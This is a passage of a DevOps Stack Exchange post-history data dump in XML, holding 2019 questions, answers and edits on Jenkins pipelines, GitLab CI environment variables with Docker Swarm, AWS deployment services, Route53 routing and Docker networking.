  <row Id="27516" PostHistoryTypeId="2" PostId="9309" RevisionGUID="e105f2f9-9914-4396-ab92-fd751beb572f" CreationDate="2019-09-30T13:34:51.073" UserId="17344" Text="Jenkins pipeline jobs are designed to be serializable to disk, to increase durability (their words not mine). Therefore they are considered safe to be suspended. The only things you can do is either wrap your stages in functions with @NonCPS decorator or using properties make the jobs non-resumable after restart, but this will cause them to not be resumed after restart.&#xD;&#xA;&#xD;&#xA;Also, restarting jenkins is not really a thing that happens all the time, so it might not be worth the effort to protect against." ContentLicense="CC BY-SA 4.0" />
  <row Id="27517" PostHistoryTypeId="2" PostId="9310" RevisionGUID="265a6633-7af1-4867-b4e3-e3f87bed721b" CreationDate="2019-09-30T13:44:30.030" UserId="9373" Text="Sometimes it is easier to ask forgiveness than permission.&#xD;&#xA;&#xD;&#xA;Instead of trying to figure out whether branch `b` exists, just try to check it out.  &#xD;&#xA;&#xD;&#xA;If it fails, checkout branch `a`.&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;script {&#xD;&#xA;    try {&#xD;&#xA;        checkout([&#xD;&#xA;                $class: 'GitSCM',&#xD;&#xA;                branches: [[name: 'b']],&#xD;&#xA;                userRemoteConfigs: [[url: url]]&#xD;&#xA;        ])&#xD;&#xA;    }&#xD;&#xA;    catch (Exception e) {&#xD;&#xA;        checkout([&#xD;&#xA;                $class: 'GitSCM',&#xD;&#xA;                branches: [[name: 'a']],&#xD;&#xA;                userRemoteConfigs: [[url: url]]&#xD;&#xA;        ])&#xD;&#xA;    }&#xD;&#xA;}&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="27518" PostHistoryTypeId="2" PostId="9311" RevisionGUID="d0b15098-fbd0-44da-b003-ee087cabc718" CreationDate="2019-09-30T13:45:38.820" UserId="17348" Text="In our project we are using Docker and we have multiple services with a pile of environmental variables (mostly credentials to various dbs, mail, samba, 30+ entries in total). It all worked well with `docker_compose.yml` and `docker-compose up -d --build`. The advantage of this method was an extensive usage of env files. For example, I had mupltiple env files and I could use them in `docker-compose.yml`:&#xD;&#xA;&#xD;&#xA;    env_file:&#xD;&#xA;      - ./envs/common.env&#xD;&#xA;      - ./envs/mail.env&#xD;&#xA;      - ./envs/mysql.env&#xD;&#xA;&#xD;&#xA;And now we set up a Gitlab CI and are planning to use Docker Swarm, so no more manual creation of production env files, use CI/CD. And the primary way in Gitlab is to create variables one by one. Yea, you could create file type variable and put the contents of env file in it, but it will be hard to manage those inner-variables. &#xD;&#xA;&#xD;&#xA;So how do I have to work with env vars now? Create a ton of variables in Gitlab UI and aggregate them in env files? Or use file type variables? Or pass them to services in `docker-compose.yml` file like that?&#xD;&#xA;    &#xD;&#xA;    environment:&#xD;&#xA;      - VAR1&#xD;&#xA;      - VAR2&#xD;&#xA;      ...&#xD;&#xA;      - VAR20&#xD;&#xA;&#xD;&#xA;Maybe we should also use Docker secrets or some configuration management tool? " ContentLicense="CC BY-SA 4.0" />
  <row Id="27519" PostHistoryTypeId="1" PostId="9311" RevisionGUID="d0b15098-fbd0-44da-b003-ee087cabc718" CreationDate="2019-09-30T13:45:38.820" UserId="17348" Text="How to properly manage mupltiple environmental variables with Gitlab CI and Docker Swarm?" ContentLicense="CC BY-SA 4.0" />
  <row Id="27520" PostHistoryTypeId="3" PostId="9311" RevisionGUID="d0b15098-fbd0-44da-b003-ee087cabc718" CreationDate="2019-09-30T13:45:38.820" UserId="17348" Text="&lt;docker&gt;&lt;docker-compose&gt;&lt;gitlab&gt;&lt;docker-swarm&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="27521" PostHistoryTypeId="2" PostId="9312" RevisionGUID="2faafbb6-6490-4c03-b9f7-17d787122ff3" CreationDate="2019-09-30T14:05:44.193" UserId="15792" Text="It may be helpful to look at the different AWS developer services as you are trying to achieve your goal in the wrong services:&#xD;&#xA;&#xD;&#xA; - Running the specific dotnet testing and publish steps are not done in CodeDeploy.  Rather, they would be done in [AWS CodeBuild][1] or directly on your Jenkins Server.&#xD;&#xA; - [AWS CodeDeploy][2] is for taking your build artifacts and deploying them &quot;to a variety of compute services such as Amazon EC2, AWS Fargate, AWS Lambda, and your on-premises servers&quot;.&#xD;&#xA; - [AWS CodePipeline][3] is for modeling an automated workflow.  This service integrates with Jenkins and GitHub.&#xD;&#xA;&#xD;&#xA;With these services in mind I think what you are looking for is to start with a new CodePipeline.  This will allow you to start building a model that specifies where you are running your dotnet tests (Jenkins or AWS CodeBuild) and what to do with your artifacts (publish through Jenkins or AWS CodeDeploy).  This can be accomplished with [AWS CDK][4].&#xD;&#xA;  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://aws.amazon.com/codebuild/&#xD;&#xA;  [2]: https://aws.amazon.com/codedeploy/&#xD;&#xA;  [3]: https://aws.amazon.com/codepipeline/&#xD;&#xA;  [4]: https://docs.aws.amazon.com/cdk/api/latest/docs/aws-codepipeline-readme.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="27522" PostHistoryTypeId="50" PostId="8012" RevisionGUID="415d1da8-7bfb-4951-9a60-1971f5eb28d7" CreationDate="2019-09-30T15:02:05.320" UserId="-1" />
  <row Id="27523" PostHistoryTypeId="2" PostId="9313" RevisionGUID="69d163e6-2cf8-4520-8939-7ea942116437" CreationDate="2019-09-30T15:23:33.880" UserId="4328" Text="Hello DevOps SE! My name is Preston Martin, and I have been a member of DevOps SE for over 2 years now. It has been a great pleasure to be a part of this great community and to see its growth throughout those two years.&#xD;&#xA;&#xD;&#xA;I have been working in DevOps oriented positions for over 5 years. I am currently working as a DevOps and AWS Consultant for an [AWS Premier Consultant Partner][1] in the United States. I love helping people and their companies solve complex DevOps problems, and I enjoy the satisfaction of making their processes easier and more efficient.&#xD;&#xA;&#xD;&#xA;As a moderator for DevOps SE, I look forward to improving the quality of the posts on this site with the appropriate moderation level that is needed. My goal is not to be the judge on deciding what content is good and what is bad, but instead be the guide to what the community wants DevOps SE to be.&#xD;&#xA;&#xD;&#xA;I want to continue to see this community grow, and for DevOps SE to be the best source for DevOps Q/A on the internet that it it can possibly be. I look to continue to bring more and more members to this community to grow the steady stream of Q/A that we already have. Thanks!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://aws.amazon.com/partners/premier/" ContentLicense="CC BY-SA 4.0" />
  <row Id="27524" PostHistoryTypeId="50" PostId="8014" RevisionGUID="70829721-56f3-4ee8-85f7-30ce0aaa09f3" CreationDate="2019-09-30T16:00:55.100" UserId="-1" />
  <row Id="27525" PostHistoryTypeId="50" PostId="5104" RevisionGUID="ad7ba900-5df7-45dc-a9f9-77fbad741715" CreationDate="2019-09-30T17:02:20.327" UserId="-1" />
  <row Id="27526" PostHistoryTypeId="2" PostId="9314" RevisionGUID="67817c77-e52b-40f6-878d-510f95bb0644" CreationDate="2019-09-30T17:21:05.680" UserId="13089" Text="When creating an AMI, you are making a copy of your EBS volumes. This utilizes block storage and will only need to process the diffs of your EBS snapshots. If you changed a lot of data in your EBS or don't have a previous snapshot, it will take longer to create your AMI.&#xD;&#xA;&#xD;&#xA;Here is a quote from the documentation at https://docs.aws.amazon.com/AWSEC2/latest/WindowsGuide/Creating_EBSbacked_WinAMI.html&#xD;&#xA;&#xD;&#xA;&gt; Depending on the size of the volumes, it can take several minutes for&#xD;&#xA;&gt; the AMI-creation process to complete (sometimes up to 24 hours). You&#xD;&#xA;&gt; may find it more efficient to create snapshots of your volumes prior&#xD;&#xA;&gt; to creating your AMI. This way, only small, incremental snapshots need&#xD;&#xA;&gt; to be created when the AMI is created, and the process completes more&#xD;&#xA;&gt; quickly (the total time for snapshot creation remains the same)." ContentLicense="CC BY-SA 4.0" />
  <row Id="27527" PostHistoryTypeId="5" PostId="9311" RevisionGUID="60e1ae6f-f63a-4d5a-ae15-0f6301548706" CreationDate="2019-09-30T17:35:50.240" UserId="15792" Comment="Edited to show that multiple questions are all the same question" Text="In our project we are using Docker and we have multiple services with a pile of environmental variables (mostly credentials to various dbs, mail, samba, 30+ entries in total). It all worked well with `docker_compose.yml` and `docker-compose up -d --build`. The advantage of this method was an extensive usage of env files. For example, I had mupltiple env files and I could use them in `docker-compose.yml`:&#xD;&#xA;&#xD;&#xA;    env_file:&#xD;&#xA;      - ./envs/common.env&#xD;&#xA;      - ./envs/mail.env&#xD;&#xA;      - ./envs/mysql.env&#xD;&#xA;&#xD;&#xA;We set up a Gitlab CI and are planning to use Docker Swarm, so no more manual creation of production env files, use CI/CD. And the primary way in Gitlab is to create variables one by one.  We could create file type variable and put the contents of env file in it, but it will be hard to manage those inner-variables. &#xD;&#xA;&#xD;&#xA;So how do I have to work with env vars now? &#xD;&#xA;&#xD;&#xA; - Create a ton of variables in Gitlab UI and aggregate them in env files?&#xD;&#xA; - Use file type variables?&#xD;&#xA; - Pass them to services in `docker-compose.yml` file like this:&#xD;&#xA;&#xD;&#xA;    environment:&#xD;&#xA;      - VAR1&#xD;&#xA;      - VAR2&#xD;&#xA;      ...&#xD;&#xA;      - VAR20&#xD;&#xA;&#xD;&#xA;Or should we also use Docker secrets or some configuration management tool? " ContentLicense="CC BY-SA 4.0" />
  <row Id="27528" PostHistoryTypeId="6" PostId="9311" RevisionGUID="60e1ae6f-f63a-4d5a-ae15-0f6301548706" CreationDate="2019-09-30T17:35:50.240" UserId="15792" Comment="Edited to show that multiple questions are all the same question" Text="&lt;docker&gt;&lt;docker-compose&gt;&lt;gitlab&gt;&lt;docker-swarm&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="27529" PostHistoryTypeId="24" PostId="9311" RevisionGUID="60e1ae6f-f63a-4d5a-ae15-0f6301548706" CreationDate="2019-09-30T17:35:50.240" Comment="Proposed by 15792 approved by 17348 edit id of 1083" ContentLicense="CC BY-SA 4.0" />
  <row Id="27530" PostHistoryTypeId="5" PostId="9312" RevisionGUID="0b2dfb35-9243-4235-bf9e-92e7ba54d170" CreationDate="2019-09-30T17:39:52.090" UserId="15792" Comment="Specified that tests are part of the pipeline." Text="It may be helpful to look at the different AWS developer services as you are trying to achieve your goal in the wrong services:&#xD;&#xA;&#xD;&#xA; - Running the specific dotnet testing and publish steps are not done in CodeDeploy.  Rather, they would be done in [AWS CodeBuild][1], in the AWS Pipeline, or directly on your Jenkins Server.&#xD;&#xA; - [AWS CodeDeploy][2] is for taking your build artifacts and deploying them &quot;to a variety of compute services such as Amazon EC2, AWS Fargate, AWS Lambda, and your on-premises servers&quot;.&#xD;&#xA; - [AWS CodePipeline][3] is for modeling an automated workflow.  This service integrates with Jenkins and GitHub.&#xD;&#xA;&#xD;&#xA;With these services in mind I think what you are looking for is to start with a new CodePipeline.  This will allow you to start building a model that specifies where you are running your dotnet tests (Jenkins or on AWS) and what to do with your artifacts (publish through Jenkins or AWS CodeDeploy).  This can be accomplished with [AWS CDK][4].&#xD;&#xA;  &#xD;&#xA;  [1]: https://aws.amazon.com/codebuild/&#xD;&#xA;  [2]: https://aws.amazon.com/codedeploy/&#xD;&#xA;  [3]: https://aws.amazon.com/codepipeline/&#xD;&#xA;  [4]: https://docs.aws.amazon.com/cdk/api/latest/docs/aws-codepipeline-readme.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="27531" PostHistoryTypeId="2" PostId="9315" RevisionGUID="3436d84d-326e-4063-a35e-899a964c28cd" CreationDate="2019-09-30T20:00:36.150" UserId="13089" Text="To answer your question, ill first try to give simple explanations for each policy to help with the confusion (https://docs.aws.amazon.com/Route53/latest/DeveloperGuide/routing-policy.html).&#xD;&#xA;&#xD;&#xA; - **Simple**: a basic routing policy that randomly sends a user to one of&#xD;&#xA;   your addresses.&#xD;&#xA;&#xD;&#xA; - **Failover**: You have a primary (active) route and a secondary (passive)&#xD;&#xA;   route. When the primary fails, it routes to the passive. If passive&#xD;&#xA;   fails, you are in a pickle.&#xD;&#xA;&#xD;&#xA; - **Multivalue**: Multiple routes that each have health checks. If one or&#xD;&#xA;   more fail, the policy will route to the healthy routes. A more&#xD;&#xA;   complex failover policy.&#xD;&#xA;&#xD;&#xA; - **Geolocation**: Route users dependent on where they are located. If a&#xD;&#xA;   user is in England and gets better latency in Germany, they will&#xD;&#xA;   still be routed to England.&#xD;&#xA;&#xD;&#xA; - **GeoProximity**: A more fine grained Geolocation. You would be able to    route people located on the border of France and Germany (based&#xD;&#xA;   on longitude) to a    specific route. &quot;Traffic Flow Only&quot; is to&#xD;&#xA;   specify that you must use the Route 53 traffic flow to configure this&#xD;&#xA;   policy. It is the most complicated of the route 53 policies&#xD;&#xA;&#xD;&#xA; - **Weighted**: This policy allows percentage based balancing. Routing 30%&#xD;&#xA;   of people to route-1, 20% to route-2 and 50% to route-3.&#xD;&#xA;&#xD;&#xA; - **Latency**: Route to the address that gives the user the best latency.&#xD;&#xA;&#xD;&#xA;Your current implementation would handle instance failures with the ELBs and the latency based routing (with health checks) would handle the routing failures. If you don't require latency based routing however, use the multivalue policy instead." ContentLicense="CC BY-SA 4.0" />
  <row Id="27532" PostHistoryTypeId="5" PostId="9315" RevisionGUID="0c89715a-ff2f-4a49-a7be-b52c6eb27478" CreationDate="2019-09-30T20:07:30.553" UserId="13089" Comment="added 19 characters in body" Text="To answer your question, ill first try to give simple explanations for each policy to help with the confusion (https://docs.aws.amazon.com/Route53/latest/DeveloperGuide/routing-policy.html).&#xD;&#xA;&#xD;&#xA; - **Simple**: a basic routing policy that randomly sends a user to one of&#xD;&#xA;   your addresses.&#xD;&#xA;&#xD;&#xA; - **Failover**: You have a primary (active) route and a secondary (passive)&#xD;&#xA;   route. When the primary fails, it routes to the passive. If passive&#xD;&#xA;   fails, you are in a pickle.&#xD;&#xA;&#xD;&#xA; - **Multivalue**: Multiple routes that each have health checks. If one or&#xD;&#xA;   more fail, the policy will route to the healthy routes. A more&#xD;&#xA;   complex failover policy.&#xD;&#xA;&#xD;&#xA; - **Geolocation**: Route users dependent on where they are located. If a&#xD;&#xA;   user is in England and gets better latency in Germany, they will&#xD;&#xA;   still be routed to England.&#xD;&#xA;&#xD;&#xA; - **GeoProximity**: A more fine grained Geolocation. You would be able to    route people located on the border of France and Germany (based&#xD;&#xA;   on longitude) to a    specific route. &quot;Traffic Flow Only&quot; is to&#xD;&#xA;   specify that you must use the Route 53 traffic flow to configure this&#xD;&#xA;   policy. It is the most complicated of the route 53 policies&#xD;&#xA;&#xD;&#xA; - **Weighted**: This policy allows percentage based balancing. Routing 30%&#xD;&#xA;   of people to route-1, 20% to route-2 and 50% to route-3.&#xD;&#xA;&#xD;&#xA; - **Latency**: Route to the address that gives the user the best latency.&#xD;&#xA;&#xD;&#xA;Your current implementation would handle instance failures with the ELBs and the latency based routing (with health checks) would handle the routing failures. If you don't require routing your users to the lowest latency address, use the multivalue policy instead." ContentLicense="CC BY-SA 4.0" />
  <row Id="27533" PostHistoryTypeId="5" PostId="9315" RevisionGUID="9ea93049-c755-488e-8437-9ff832d9ce95" CreationDate="2019-09-30T21:14:24.220" UserId="13089" Comment="deleted 2 characters in body" Text="To answer your question, ill first try to give simple explanations for each policy to help with the confusion (https://docs.aws.amazon.com/Route53/latest/DeveloperGuide/routing-policy.html).&#xD;&#xA;&#xD;&#xA; - **Simple**: a basic routing policy that randomly sends a user to one of&#xD;&#xA;   your addresses.&#xD;&#xA;&#xD;&#xA; - **Failover**: You have a primary (active) route and a secondary (passive)&#xD;&#xA;   route. When the primary fails, it routes to the passive. If passive&#xD;&#xA;   fails, you have an issue.&#xD;&#xA;&#xD;&#xA; - **Multivalue**: Multiple routes that each have health checks. If one or&#xD;&#xA;   more fail, the policy will route to the healthy routes. A more&#xD;&#xA;   complex failover policy.&#xD;&#xA;&#xD;&#xA; - **Geolocation**: Route users dependent on where they are located. If a&#xD;&#xA;   user is in England and gets better latency in Germany, they will&#xD;&#xA;   still be routed to England.&#xD;&#xA;&#xD;&#xA; - **GeoProximity**: A more fine grained Geolocation. You would be able to    route people located on the border of France and Germany (based&#xD;&#xA;   on longitude) to a    specific route. &quot;Traffic Flow Only&quot; is to&#xD;&#xA;   specify that you must use the Route 53 traffic flow to configure this&#xD;&#xA;   policy. It is the most complicated of the route 53 policies&#xD;&#xA;&#xD;&#xA; - **Weighted**: This policy allows percentage based balancing. Routing 30%&#xD;&#xA;   of people to route-1, 20% to route-2 and 50% to route-3.&#xD;&#xA;&#xD;&#xA; - **Latency**: Route to the address that gives the user the best latency.&#xD;&#xA;&#xD;&#xA;Your current implementation would handle instance failures with the ELBs and the latency based routing (with health checks) would handle the routing failures. If you don't require routing your users to the lowest latency address, use the multivalue policy instead." ContentLicense="CC BY-SA 4.0" />
  <row Id="27534" PostHistoryTypeId="5" PostId="9315" RevisionGUID="24535ec9-d8b8-4c27-a920-5c56c5177413" CreationDate="2019-09-30T21:24:43.610" UserId="13089" Comment="added 14 characters in body" Text="To answer your question, ill first try to give simple explanations for each policy to help with the confusion (https://docs.aws.amazon.com/Route53/latest/DeveloperGuide/routing-policy.html).&#xD;&#xA;&#xD;&#xA; - **Simple**: a basic routing policy that randomly sends a user to one of&#xD;&#xA;   your addresses.&#xD;&#xA;&#xD;&#xA; - **Failover**: You have a primary (active) route and a secondary (passive)&#xD;&#xA;   route. When the primary fails, it routes to the passive. If passive&#xD;&#xA;   fails, you have an issue.&#xD;&#xA;&#xD;&#xA; - **Multivalue**: Multiple routes that each have health checks. It will randomly select an address (Simple routing policy) from the healthy routes. A more&#xD;&#xA;   complex failover policy.&#xD;&#xA;&#xD;&#xA; - **Geolocation**: Route users dependent on where they are located. If a&#xD;&#xA;   user is in England and gets better latency in Germany, they will&#xD;&#xA;   still be routed to England.&#xD;&#xA;&#xD;&#xA; - **GeoProximity**: A more fine grained Geolocation. You would be able to    route people located on the border of France and Germany (based&#xD;&#xA;   on longitude) to a    specific route. &quot;Traffic Flow Only&quot; is to&#xD;&#xA;   specify that you must use the Route 53 traffic flow to configure this&#xD;&#xA;   policy. It is the most complicated of the route 53 policies&#xD;&#xA;&#xD;&#xA; - **Weighted**: This policy allows percentage based balancing. Routing 30%&#xD;&#xA;   of people to route-1, 20% to route-2 and 50% to route-3.&#xD;&#xA;&#xD;&#xA; - **Latency**: Route to the address that gives the user the best latency.&#xD;&#xA;&#xD;&#xA;Now for your architecture, your current implementation would handle instance failures with the ELBs and the latency based routing (with health checks) would handle the routing failures. If you don't require routing your users to the lowest latency address, use the multivalue policy instead." ContentLicense="CC BY-SA 4.0" />
  <row Id="27535" PostHistoryTypeId="2" PostId="9316" RevisionGUID="32f6bd4f-9f01-4129-8f77-78cab01bef73" CreationDate="2019-10-01T01:01:45.327" UserId="17363" Text="As per the title. Last week, my TXT and other DNS records on Route53 stopped resolving:&#xD;&#xA;&#xD;&#xA;https://dnschecker.org/#TXT/thuijls.net&#xD;&#xA;&#xD;&#xA;The entries are set like:&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/J1keG.png&#xD;&#xA;&#xD;&#xA;What else could be missing here? As far as I'm aware, nothing has changed in the last week yet most of the entries are not being picked up. The domain was automatically extended earlier september if that makes a difference." ContentLicense="CC BY-SA 4.0" />
  <row Id="27536" PostHistoryTypeId="1" PostId="9316" RevisionGUID="32f6bd4f-9f01-4129-8f77-78cab01bef73" CreationDate="2019-10-01T01:01:45.327" UserId="17363" Text="Route53 DNS records stopped resolving" ContentLicense="CC BY-SA 4.0" />
  <row Id="27537" PostHistoryTypeId="3" PostId="9316" RevisionGUID="32f6bd4f-9f01-4129-8f77-78cab01bef73" CreationDate="2019-10-01T01:01:45.327" UserId="17363" Text="&lt;amazon-web-services&gt;&lt;dns&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="27538" PostHistoryTypeId="2" PostId="9317" RevisionGUID="b9b5c258-332f-40cd-a7d6-0e80a6f14431" CreationDate="2019-10-01T03:47:24.123" UserId="12833" Text="There is stages in gitlab ci and on 'docker build' stage I don't need ALL env variables. Usually its only a REACT_APP_SERVER_URI variable.&#xD;&#xA;Later I use env file in compose.yml like you are. &#xD;&#xA;&#xD;&#xA;    env_file:&#xD;&#xA;      - ./envs/common.env" ContentLicense="CC BY-SA 4.0" />
  <row Id="27539" PostHistoryTypeId="2" PostId="9318" RevisionGUID="46b418a2-94f4-4ea6-852c-bbd1f04e86ef" CreationDate="2019-10-01T08:17:36.980" UserId="17370" Text="I am deploying CI with several runners - however they are all based on the Docker executor on Linux. Is it possible to use Linux runners to test applications on Windows or Mac instead?&#xD;&#xA;&#xD;&#xA;* I understand I could use the VirtualBox executor and have a MacOS/Windows image, however I fail to understand if it is possible to do this without acquiring a license for MacOS or Windows (maybe there are free images for CI available?)&#xD;&#xA;* My actual initial question was geared towards running Windows/MacOS images inside a docker container on Windows - is it possible? I assume it isn't because we are still using the Linux kernel but would like confirmation.  " ContentLicense="CC BY-SA 4.0" />
  <row Id="27540" PostHistoryTypeId="1" PostId="9318" RevisionGUID="46b418a2-94f4-4ea6-852c-bbd1f04e86ef" CreationDate="2019-10-01T08:17:36.980" UserId="17370" Text="Cross-CI on Windows and Mac" ContentLicense="CC BY-SA 4.0" />
  <row Id="27541" PostHistoryTypeId="3" PostId="9318" RevisionGUID="46b418a2-94f4-4ea6-852c-bbd1f04e86ef" CreationDate="2019-10-01T08:17:36.980" UserId="17370" Text="&lt;docker&gt;&lt;continuous-integration&gt;&lt;windows&gt;&lt;gitlab-ci-runner&gt;&lt;macos&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="27546" PostHistoryTypeId="2" PostId="9320" RevisionGUID="27f8205a-405a-4798-aa08-3b828d437fc1" CreationDate="2019-10-01T10:41:28.397" UserId="17374" Text="I want to improve my current dev CI workflow, I would like to create a server with ISPConfig and some kind of CI tool like Jenkins&#xD;&#xA;&#xD;&#xA;The catch is It has to all sit on 1 server, I see folks saying jenkins needs its own server but im just wondering is that a hard set rule or what.&#xD;&#xA;&#xD;&#xA;Or has anyone got any tips on other tools to use which would work better with bitbucket or bitbucket pipelines.&#xD;&#xA;&#xD;&#xA;My current setup has been a maze of bash scripts which get triggered when a dev pushes to the master branch but its not very convenient for updates or adding new sites etc so id love to hear what other people are using to simplify the process of pushing to staging/dev" ContentLicense="CC BY-SA 4.0" />
  <row Id="27547" PostHistoryTypeId="1" PostId="9320" RevisionGUID="27f8205a-405a-4798-aa08-3b828d437fc1" CreationDate="2019-10-01T10:41:28.397" UserId="17374" Text="Dev-Ops with bitbucket" ContentLicense="CC BY-SA 4.0" />
  <row Id="27548" PostHistoryTypeId="3" PostId="9320" RevisionGUID="27f8205a-405a-4798-aa08-3b828d437fc1" CreationDate="2019-10-01T10:41:28.397" UserId="17374" Text="&lt;jenkins&gt;&lt;build-pipeline&gt;&lt;bitbucket&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="27549" PostHistoryTypeId="2" PostId="9321" RevisionGUID="f2f7a51e-a933-4846-b8f2-a09dd2a1cf6e" CreationDate="2019-10-01T10:51:01.300" UserId="4852" Text="There is no hard rule to have jenkins to be running of a single server. However usually it may be better to have separate servers which fulfilling one purpose at a time as this gives some advantages&#xD;&#xA;&#xD;&#xA;- you can focus only on dependencies for the particular service (e.g. Bitbucket and jenkins may require two different Java versions, whereas one installation could interfere with other)&#xD;&#xA;- if you have all services on one server, for whatever reason the servers is not available - **none** of your services are available neither&#xD;&#xA;&#xD;&#xA;There are a bunch of tools you can use i.e. not only Jenkins. I recommend to write down your needs/requirements and evaluate different options. " ContentLicense="CC BY-SA 4.0" />
  <row Id="27550" PostHistoryTypeId="2" PostId="9322" RevisionGUID="98d24ebc-c8a5-466d-a454-edee56af8405" CreationDate="2019-10-01T12:31:37.417" UserId="17376" Text="I am looking for a netframework docker image with .net 4.7.2 and netcoreapp2.2. I searched on the main docker website: [DockerHub, .NET Framework&#xD;&#xA;By Microsoft](https://hub.docker.com/_/microsoft-dotnet-framework) without success. I also check the [microsoft website](https://docs.microsoft.com/en-us/dotnet/framework/) just in case.&#xD;&#xA;&#xD;&#xA;Is there a way to see previous version of a docker image? (Especially for the dotnet-framework)" ContentLicense="CC BY-SA 4.0" />
  <row Id="27551" PostHistoryTypeId="1" PostId="9322" RevisionGUID="98d24ebc-c8a5-466d-a454-edee56af8405" CreationDate="2019-10-01T12:31:37.417" UserId="17376" Text="How to see previous version of a docker image?" ContentLicense="CC BY-SA 4.0" />
  <row Id="27552" PostHistoryTypeId="3" PostId="9322" RevisionGUID="98d24ebc-c8a5-466d-a454-edee56af8405" CreationDate="2019-10-01T12:31:37.417" UserId="17376" Text="&lt;docker&gt;&lt;dotnet&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="27553" PostHistoryTypeId="5" PostId="9322" RevisionGUID="2e9b4219-acce-4da0-b69a-03b79e6020e1" CreationDate="2019-10-01T12:42:31.113" UserId="17376" Comment="added 936 characters in body" Text="I am looking for a netframework docker image with .net 4.7.2 and netcoreapp2.2. I searched on the main docker website: [DockerHub, .NET Framework&#xD;&#xA;By Microsoft](https://hub.docker.com/_/microsoft-dotnet-framework) without success. I also check the [microsoft website](https://docs.microsoft.com/en-us/dotnet/framework/) just in case.&#xD;&#xA;&#xD;&#xA;Is there a way to see previous version of a docker image? (Especially for the dotnet-framework)&#xD;&#xA;&#xD;&#xA;edit something to allow me to fill this kind of table:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;| docker image                         | framework | core  | aspcore |&#xD;&#xA;|--------------------------------------|-----------|-------|---------|&#xD;&#xA;| microsoft/dotnet-framework:4.8-sdk   | 4.8       | 3.0   | ?       |&#xD;&#xA;| microsoft/dotnet-framework:4.7.2-sdk | 4.7.2     |  2.1? | ?       |&#xD;&#xA;|                                      | 4.7.1     | ?     | ?       |&#xD;&#xA;|                                      | 4.7       | ?     | ?       |&#xD;&#xA;|                                      | 4.6.2     | ?     | ?       |&#xD;&#xA;|                                      | 4.6.1     | ?     | ?       |&#xD;&#xA;|                                      | 4.6       | ?     | ?       |&#xD;&#xA;|                                      | 4.5.2     | ?     | ?       |&#xD;&#xA;|                                      | 4.5.1     | ?     | ?       |&#xD;&#xA;|                                      | 4.5.0     | ?     | ?       |&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="27554" PostHistoryTypeId="2" PostId="9323" RevisionGUID="2962680c-f025-40d8-8d9a-f2bd5fbd20ab" CreationDate="2019-10-01T12:56:25.470" UserId="11341" Text="docker image inspect - here lot information avialble&#xD;&#xA;docker image history [your OPTIONS] IMAGEname" ContentLicense="CC BY-SA 4.0" />
  <row Id="27555" PostHistoryTypeId="2" PostId="9324" RevisionGUID="e7e5f3f4-1bd3-4f15-86f8-ac34f63052f3" CreationDate="2019-10-01T15:44:32.133" UserId="7646" Text="I have a Docker overlay network which includes 2 containers (and some endpoint, probably a docker gateway or something):&#xD;&#xA;&#xD;&#xA;        &quot;Containers&quot;: {&#xD;&#xA;            &quot;0ece6b958aa6b451478b5004ba1b1681ec91b718b99a0c2c88b79d5e8e135a66&quot;: {&#xD;&#xA;                &quot;Name&quot;: &quot;flvw_nginx.1.v9ycohipbvizlagm840o7jd0d&quot;,&#xD;&#xA;                &quot;EndpointID&quot;: &quot;0fba09c56d5098efb3a89645a5dce575a12b5f3496d3839ce4e34bb29bc60091&quot;,&#xD;&#xA;                &quot;MacAddress&quot;: &quot;02:42:0a:00:16:06&quot;,&#xD;&#xA;                &quot;IPv4Address&quot;: &quot;10.0.22.6/24&quot;,&#xD;&#xA;                &quot;IPv6Address&quot;: &quot;&quot;&#xD;&#xA;            },&#xD;&#xA;            &quot;25b2988afe5d0cf02f718831bf12858b3dccb875a3609804273da02bd4b422ac&quot;: {&#xD;&#xA;                &quot;Name&quot;: &quot;flvw_pimcore.1.j3m0i52sksg0fmhdawzhwwhei&quot;,&#xD;&#xA;                &quot;EndpointID&quot;: &quot;a2ea9ddcfba20b05017dda7a79af542ab09b0172a74f61be9fbb861fad39d008&quot;,&#xD;&#xA;                &quot;MacAddress&quot;: &quot;02:42:0a:00:16:03&quot;,&#xD;&#xA;                &quot;IPv4Address&quot;: &quot;10.0.22.3/24&quot;,&#xD;&#xA;                &quot;IPv6Address&quot;: &quot;&quot;&#xD;&#xA;            },&#xD;&#xA;            &quot;lb-flvw_app&quot;: {&#xD;&#xA;                &quot;Name&quot;: &quot;flvw_app-endpoint&quot;,&#xD;&#xA;                &quot;EndpointID&quot;: &quot;c4cf9798cd3d2d8ee11057176c9f7395fd81546860f97c2623cd7f5043104294&quot;,&#xD;&#xA;                &quot;MacAddress&quot;: &quot;02:42:0a:00:16:04&quot;,&#xD;&#xA;                &quot;IPv4Address&quot;: &quot;10.0.22.4/24&quot;,&#xD;&#xA;                &quot;IPv6Address&quot;: &quot;&quot;&#xD;&#xA;            }&#xD;&#xA;        },&#xD;&#xA;&#xD;&#xA;This states:&#xD;&#xA;&#xD;&#xA;    pimcore = 10.0.22.3&#xD;&#xA;    nginx = 10.0.22.6&#xD;&#xA;&#xD;&#xA;So I exec into the containers and the following commands.&#xD;&#xA;&#xD;&#xA;On the pimcore container:&#xD;&#xA;&#xD;&#xA;    [root@25b2988afe5d pimcore]# ip a | grep -i &quot;10.0.22&quot;&#xD;&#xA;        inet 10.0.22.3/24 brd 10.0.22.255 scope global eth0&#xD;&#xA;&#xD;&#xA;    [root@25b2988afe5d pimcore]# ping nginx&#xD;&#xA;    PING nginx (10.0.22.5) 56(84) bytes of data.&#xD;&#xA;    64 bytes from 10.0.22.5 (10.0.22.5): icmp_seq=1 ttl=64 time=0.062 ms&#xD;&#xA;    64 bytes from 10.0.22.5 (10.0.22.5): icmp_seq=2 ttl=64 time=0.052 ms&#xD;&#xA;    